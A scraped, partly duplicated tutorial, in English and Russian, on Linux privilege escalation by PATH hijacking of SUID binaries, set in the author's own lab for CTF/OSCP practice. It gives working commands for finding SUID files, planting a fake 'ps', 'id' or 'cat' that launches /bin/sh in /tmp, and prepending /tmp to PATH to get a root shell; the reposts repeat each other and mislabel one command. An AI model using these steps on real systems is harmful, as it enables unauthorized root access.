- Linux Privilege Escalation Using PATH Variable
- Method 1
- Penetrating victim’s VM Machine
- Русские Блоги
- Повышение привилегий с помощью переменных среды в Linux
- Введение
- способ 1
- Русские Блоги
- Используйте переменные среды для повышения привилегий в Linux
- Введение
- способ 1
- Эхо-команда
- Копировать команду
- Команда Symlink
- Способ 2
- Эхо-команда
- Способ 3
- Нано редактор
- Способ 4
- Редактор Vi
Linux Privilege Escalation Using PATH Variable
After solving several OSCP Challenges we decided to write the article on the various method used for Linux privilege escalation, that could be helpful for our readers in their penetration testing project. In this article, we will learn “various method to manipulate $PATH variable” to gain root access of a remote host machine and the techniques used by CTF challenges to generate $PATH vulnerability that lead to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.
Introduction
PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories where executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands.
It is very simple to view Path of revelent user with help of echo command.
If you notice ‘.’ in environment PATH variable it means that the logged user can execute binaries/scripts from the current directory and it can be an excellent technique for an attacker to escalate root privilege. This is due to lack of attention while writing program thus admin do not specify the full path to the program.
Method 1
Ubuntu LAB SET_UP
Currently, we are in /home/raj directory where we will create a new directory with the name as /script. Now inside script directory, we will write a small c program to call a function of system binaries.
As you can observe in our demo.c file we are calling ps command which is system binaries.
After then compile the demo.c file using gcc and promote SUID permission to the compiled file.
Penetrating victim’s VM Machine
First, you need to compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command.
Hence with help of above command, an attacker can enumerate any executable file, here we can also observe /home/raj/script/shell having suid permissions.
Then we move into /home/raj/script and saw an executable file “shell”. So we run this file, and here it looks like the file shell is trying to run ps and this is a genuine file inside /bin for Process status.
Русские Блоги
Повышение привилегий с помощью переменных среды в Linux
Введение
PATH — это переменная окружения в Linux и Unix-подобных операционных системах, которая определяет все каталоги bin и sbin, в которых хранятся исполняемые программы. Когда пользователь выполняет любую команду на терминале, он отвечает на команду, выполненную пользователем через переменную PATH, и отправляет запрос в оболочку для поиска исполняемого файла. Суперпользователи обычно также имеют записи / sbin и / usr / sbin для облегчения выполнения команд управления системой.
Используйте команду echo для отображения текущей переменной среды PATH:
Если вы видите в переменной PATH ‘.’ , Это означает, что вошедший в систему пользователь может выполнить двоичный файл / скрипт из текущего каталога, что также дает злоумышленнику отличную возможность повысить привилегии. Причина, по которой полный путь к программе здесь не указан, часто вызвана небрежностью при написании программы.
способ 1
В настоящее время мы находимся в каталоге / home / raj, где мы создадим новый каталог с именем / script. В каталоге скриптов мы напишем небольшую программу на c для вызова функции системного двоичного файла.
Как видно из файла demo.c, мы вызываем команду ps.
Затем используйте gcc для компиляции файла demo.c и увеличьте разрешение SUID скомпилированного файла.
Предположим, мы успешно проникли в цель и вступили в стадию эскалации власти. Мы успешно вошли в систему жертвы через ssh. Затем используйте команду «Найти» для поиска файлов с разрешениями SUID или 4000.
find / -perm -u=s -type f 2>/dev/null
С помощью приведенной выше команды злоумышленник может перечислить все исполняемые файлы в целевой системе. Здесь вы можете видеть, что / home / raj / script / shell имеет разрешения SUID.
Перейдите в каталог / home / raj / script, вы увидите, что в этом каталоге есть исполняемый файл «shell», мы запускаем этот файл.
Русские Блоги
Используйте переменные среды для повышения привилегий в Linux
В этой статье я расскажу о некоторых методах повышения привилегий в Linux с использованием переменных среды, включая некоторые методы, используемые в задачах CTF. Не много, чтобы сказать, давайте перейдем к теме!
Введение
PATH — это переменная среды в Linux и Unix-подобных операционных системах, которая указывает все каталоги bin и sbin, в которых хранятся исполняемые программы. Когда пользователь выполняет какую-либо команду на терминале, он отвечает на команду, выполненную пользователем через переменную PATH, и отправляет запрос в оболочку для поиска исполняемых файлов. Суперпользователи обычно также имеют записи / sbin и / usr / sbin для облегчения выполнения команд управления системой.
Используйте команду echo для отображения текущей переменной среды PATH:
Если вы видите в переменной PATH‘.’, Это означает, что вошедший в систему пользователь может выполнять двоичные файлы / сценарии из текущего каталога, что также является отличной возможностью для злоумышленников повысить свои права. Причина, по которой полный путь к программе здесь не указан, часто вызвана небрежностью при написании программы.
способ 1
Ubuntu LAB SET_UP
В настоящее время мы находимся в каталоге / home / raj, где мы создадим новый каталог с именем / script. В каталоге скриптов мы напишем небольшую программу на c для вызова функций системного двоичного файла.
pwd mkdir script cd /script nano demo.c
Как видно из файла demo.c, мы вызываем команду ps.
Затем используйте gcc для компиляции файла demo.c и увеличьте разрешение SUID для скомпилированного файла.
ls gcc demo.c -o shell chmod u+s shell ls -la shell
Victim VM machine
Предположим, мы успешно проникли в цель и вступили в стадию эскалации. Мы успешно вошли на компьютер жертвы через ssh. Затем используйте команду «Найти» для поиска файлов с разрешениями SUID или 4000.
find / -perm -u=s -type f 2>/dev/null
С помощью приведенной выше команды злоумышленник может перечислить все исполняемые файлы в целевой системе. Здесь вы можете видеть, что / home / raj / script / shell имеет разрешения SUID.
Войдите в каталог / home / raj / script, вы увидите, что в каталоге есть исполняемый файл «shell», мы запускаем этот файл
Эхо-команда
cd /tmp echo “/bin/sh” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami
Копировать команду
cd /home/raj/script/ cp /bin/sh /tmp/ps echo $PATH export PATH=/tmp:$PATH ./shell whoami
Команда Symlink
ln -s /bin/sh ps export PATH=.:$PATH ./shell id whoami
Примечание. Символьная ссылка также называется программной ссылкой. Если каталог имеет полные права доступа, он будет работать успешно. В случае символической ссылки в Ubuntu мы дали 777 разрешений для каталога / script.
Поэтому злоумышленник может манипулировать переменной окружения PATH, чтобы увеличить привилегии и получить root-доступ.
Способ 2
Ubuntu LAB SET_UP
Повторите описанные выше шаги для настройки вашей экспериментальной среды. Теперь в каталоге сценариев мы напишем небольшую программу на c для вызова функций системного двоичного файла.
pwd mkdir script cd /script nano demo.c
Как вы можете видеть в файле demo.c, мы вызываем команду id.
Затем используйте gcc для компиляции файла demo.c и увеличьте разрешение SUID для скомпилированного файла.
ls gcc demo.c -o shell2 chmod u+s shell2 ls -la shell2
Victim VM machine
Аналогично, предположим, что мы успешно проникли в цель и вступили в стадию эскалации. Мы успешно вошли на компьютер жертвы через ssh. Затем используйте команду «Найти» для поиска файлов с разрешениями SUID или 4000. Здесь мы видим, что / home / raj / script / shell2 имеет разрешения SUID.
find / -perm -u=s -type f 2>/dev/null
Войдите в каталог / home / raj / script, вы увидите, что в каталоге есть исполняемый файл «shell2», мы запускаем этот файл.
cd /home/raj/script ls ./shell2
Эхо-команда
cd /tmp echo “/bin/sh” > id chmod 777 id echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell2 whoami
Способ 3
Ubuntu LAB SET_UP
Повторите вышеуказанные шаги для настройки вашей экспериментальной среды. Как видно из файла demo.c, мы вызываем команду cat для чтения содержимого из файла etc / passwd.
Затем используйте gcc для компиляции файла demo.c и увеличьте разрешение SUID для скомпилированного файла.
ls gcc demo.c -o raj chmod u+s raj ls -la raj
Victim VM machine
Точно так же, предполагая, что мы успешно проникли в цель и вступили в фазу повышения привилегий, мы можем просмотреть список пользователей sudo, выполнив следующую команду.
find / -perm -u=s -type f 2>/dev/null
Здесь мы видим, что / home / raj / script / raj имеет права SUID, введите каталог home / raj / script /, вы можете видеть, что в этом каталоге есть исполняемый файл «raj». Поэтому, когда мы запустим этот файл, он выведет файл etc / passwd.
Нано редактор
Теперь, когда откроется терминал, введите / bin / bash и сохраните.
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./raj whoami
Способ 4
Ubuntu LAB SET_UP
Повторите вышеуказанные шаги для настройки вашей экспериментальной среды. Как вы можете видеть в файле demo.c, мы вызываем команду cat для чтения содержимого msg.txt в / home / raj, но в / home / raj такого файла нет.
Затем используйте gcc для компиляции файла demo.c и увеличьте разрешение SUID для скомпилированного файла.
ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite
Victim VM machine
Точно так же, предполагая, что мы успешно проникли в цель и вступили в фазу повышения привилегий, мы можем просмотреть список пользователей sudo, выполнив следующую команду
find / -perm -u=s -type f 2>/dev/null
Здесь мы видим, что / home / raj / script / ignite имеет разрешения SUID, введите каталог / home / raj / script, вы можете видеть, что в этом каталоге есть исполняемый файл «ignite». Поэтому, когда мы запустим этот файл, он сообщит об ошибке «cat: /home/raj/msg.txt» или файл не существует.
cd /home/raj/script ls ./ignite
Редактор Vi
Теперь, когда откроется терминал, введите / bin / bash и сохраните.
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./ignite whoami
* Справочный источник:hackingarticles, Редактор FB secist скомпилирован, перепечатку просьба указывать с FreeBuf.COM